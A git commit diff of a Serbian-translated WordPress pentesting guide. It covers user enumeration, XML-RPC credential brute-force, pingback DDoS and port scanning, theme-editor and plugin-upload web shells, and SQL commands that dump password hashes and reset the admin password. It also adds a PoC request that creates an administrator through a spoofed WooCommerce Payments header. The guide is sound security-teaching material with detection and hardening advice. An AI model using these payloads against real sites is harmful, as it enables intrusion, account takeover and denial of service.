Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:21:28 +00:00
parent 8c0bea2fb1
commit 39dc59c9c1

View File

@ -4,49 +4,49 @@
## Osnovne informacije
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** fajlovi se nalaze na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Datoteke tema se mogu naći u /wp-content/themes/,** pa ako izmenite neki php u temi da biste dobili RCE verovatno ćete koristiti taj put. Na primer: Koristeći temu **twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Još jedan koristan url može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- U **wp-config.php** možete pronaći root lozinku baze podataka.
- Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Glavne WordPress datoteke**
- `index.php`
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
- `license.txt` sadrži korisne informacije kao što je verzija instaliranog WordPress-a.
- `wp-activate.php` se koristi za proces aktivacije putem emaila prilikom podešavanja novog WordPress sajta.
- Login fajlovi/putanje (mogu biti preimenovani da bi se sakrili):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavna direktorijum gde se čuvaju dodaci i teme.
- `wp-content/uploads/` je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam kodiranja. Ovakva vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavni direktorijum gde se čuvaju plugins i teme.
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi otpremljeni na platformu.
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgeti.
- `wp-sitemap.xml` U WordPress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim objavama i javno upitnim tipovima postova i taksonomijama.
**Post exploitation**
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka kao što su ime baze, host baze, korisničko ime i lozinka, authentication keys and salts, i prefiks tabela u bazi. Ovaj konfiguracioni fajl se takođe može iskoristiti za aktivaciju DEBUG moda, što može biti korisno pri otklanjanju problema.
### Dozvole korisnika
### Korisničke dozvole
- **Administrator**
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
- **Author**: Objavljuje i upravlja svojim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
- **Subscriber**: Pregleda postove i uređuje svoj profil
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
- **Subscriber**: Pregleda postove i menja svoj profil
## **Pasivna enumeracija**
### **Dobijanje WordPress verzije**
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
Proverite da li možete pronaći fajlove `/license.txt` ili `/readme.html`
Unutar **izvora koda** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
U **izvornom kodu** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,58 +56,60 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS link datoteke
- CSS link files
![](<../../images/image (533).png>)
- JavaScript datoteke
- JavaScript files
![](<../../images/image (524).png>)
### Preuzmi dodatke
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Preuzmi teme
### Dobavljanje tema
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ekstraktovanje verzija uopšte
### Izvlačenje verzija uopšteno
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktivna enumeracija
### Plugin-i i Teme
### Plugins and Themes
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (nadamo se da postoje automatski alati koji sadrže ove liste).
Verovatno nećete moći da pronađete sve Plugins and Themes. Da biste otkrili sve, moraćete da **aktivno Brute Force listu Plugins and Themes** (nadamo se da postoje automatizovani alati koji sadrže te liste).
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing korisničkih ID-eva:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
Ako su odgovori **200** ili **30X**, to znači da je id **važeći**. Ako je odgovor **400**, onda je id **nevažeći**.
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o korisnicima je:
Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicima je:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**.
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`**, **poruka** će biti **različita** u zavisnosti od toga da li navedeni **username** postoji ili ne.
### XML-RPC
Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces[ koristeći ovo](https://github.com/relarizky/wpxploit) na primer).
Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga iskoristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev:
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
**Proveri**
```html
@ -118,9 +120,9 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce kredencijali**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete neku od njih, možete poslati nešto poput:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -130,13 +132,13 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
</params>
</methodCall>
```
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
Poruka _"Incorrect username or password"_ u odgovoru sa status kodom 200 treba da se pojavi ako pristupni podaci nisu validni.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Koristeći ispravne akreditive možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Korišćenjem tačnih pristupnih podataka možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -166,18 +168,18 @@ Koristeći ispravne akreditive možete da otpremite datoteku. U odgovoru će se
</params>
</methodCall>
```
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu:
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Obilaženje 2FA**
**Bypass 2FA**
Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da iskoristite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Ovaj metod je namenjen programima, a ne ljudima, i star je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz console, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ili skeniranje portova**
**DDoS or port scanning**
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,7 +193,7 @@ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pri
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
**DDoS**
```html
@ -207,17 +209,17 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
### wp-cron.php DoS
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
Kada se pristupi ovom fajlu, izvrši se **intenzivan** MySQL **upit**, pa bi mogao biti iskorišćen od strane **attackers** da **izazove** **DoS**.\
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
### /wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt možda će napraviti zahtev ka vama.
Ovo je odgovor kada ne funkcioniše:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -228,32 +230,32 @@ Ovo je odgovor kada ne funkcioniše:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih iskoristi.
## Automatic Tools
## Automatski alati
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Dobijanje pristupa prepisivanjem bita
## Dobijte pristup prepisivanjem bita
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da preokrenete 1 bit iz bilo kog wordpress fajla. Tako ste mogli da preokrenete poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si promeniti 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si promeniti poziciju `5389` datoteke `/var/www/html/wp-includes/user.php` tako da se NOT (`!`) operacija pretvori u NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
**Izmena php fajla iz korišćene teme (potrebni admin kredencijali)**
Izgled → Urednik teme → 404 Šablon (s desne strane)
Appearance → Theme Editor → 404 Template (sa desne strane)
Promenite sadržaj za php shell:
Zamenite sadržaj php fajla php shell-om:
![](<../../images/image (384).png>)
Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -261,97 +263,97 @@ Možete koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
da biste dobili session.
## Plugin RCE
### PHP plugin
Možda je moguće uploadovati .php fajlove kao plugin.\
Kreirajte svoj php backdoor koristeći, na primer:
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
![](<../../images/image (183).png>)
Zatim dodajte novi plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Uploadujte plugin i pritisnite Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Kliknite na Procced:
Click on Procced:
![](<../../images/image (70).png>)
Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:
Ovaj metod uključuje instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
1. **Plugin Acquisition**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Idite na WordPress kontrolnu tablu, zatim idite na `Dashboard > Plugins > Upload Plugin`.
- Uploadujte zip fajl preuzetog plugina.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
4. **Exploitation**:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
Sadržaj uključuje vizuelne prikaze koji ilustruju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing sa izričitim dopuštenjem.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađene teme u WordPress-u.
- _**(Custom) Custom Exploits:**_ Prilagođeni exploits za treće strane WordPress plugine/teme.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađene plugine u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađene teme u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
## Post Exploitation
Izvucite korisnička imena i lozinke:
Ekstrahujte korisnička imena i lozinke:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Promenite administratorsku lozinku:
Promeni administratorsku lozinku:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Attack Surface
### Površina napada
Znanje o tome kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih plugina u [**ovom blog postu**](https://nowotarski.info/wordpress-nonce-authorization/).
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti. Način na koji plugin može izložiti funkcionalnost opisan je u sledećim tačkama, a primeri ranjivih pluginova nalaze se u [**ovom članku**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlers. Oni mogu sadržati greške u logici, autorizaciji ili autentikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na svoju ulogu).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
Ovo su funkcije koje se mogu koristiti za izlaganje funkcionalnosti u pluginu:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Korišćenje `nopriv` čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).**
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
> [!CAUTION]
> Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
> Štaviše, ako funkcija samo proverava autorizaciju korisnika funkcijom `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen — obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
- **REST API**
Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST AP koristeći funkciju `register_rest_route`:
Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -361,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
The `permission_callback` je callback koji proverava da li je dati korisnik ovlašćen da pozove API metodu.
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
**Ako se koristi ugrađena funkcija `__return_true`, ona će jednostavno preskočiti proveru korisničkih dozvola.**
- **Direktan pristup php datoteci**
- **Direktan pristup php fajlu**
Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika.
Naravno, Wordpress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće iskorišćena od strane bilo kog korisnika.
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač može spoof-ovati header i pozvati privilegovane REST rute kao administrator.
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
3. **Strogu sanitizaciju / validaciju unosa**.
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
- Primer headera: `X-Wcpay-Platform-Checkout-User: 1` (postavlja ID korisnika na 1, obično prvi administratorski nalog).
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Zašto ovo funkcioniše
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
Očekivani indikatori uspeha
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
Kontrolna lista za detekciju
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregled REST registracija za privilegovane callback-ove koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers.
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Ojačavanje
- Nikada ne izvodi autentikaciju ili autorizaciju iz client-controlled header-a.
- Ako reverse proxy mora da injektuje identitet, terminate trust kod proxy-a i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledi potpisani token i verifikuj ga server-side.
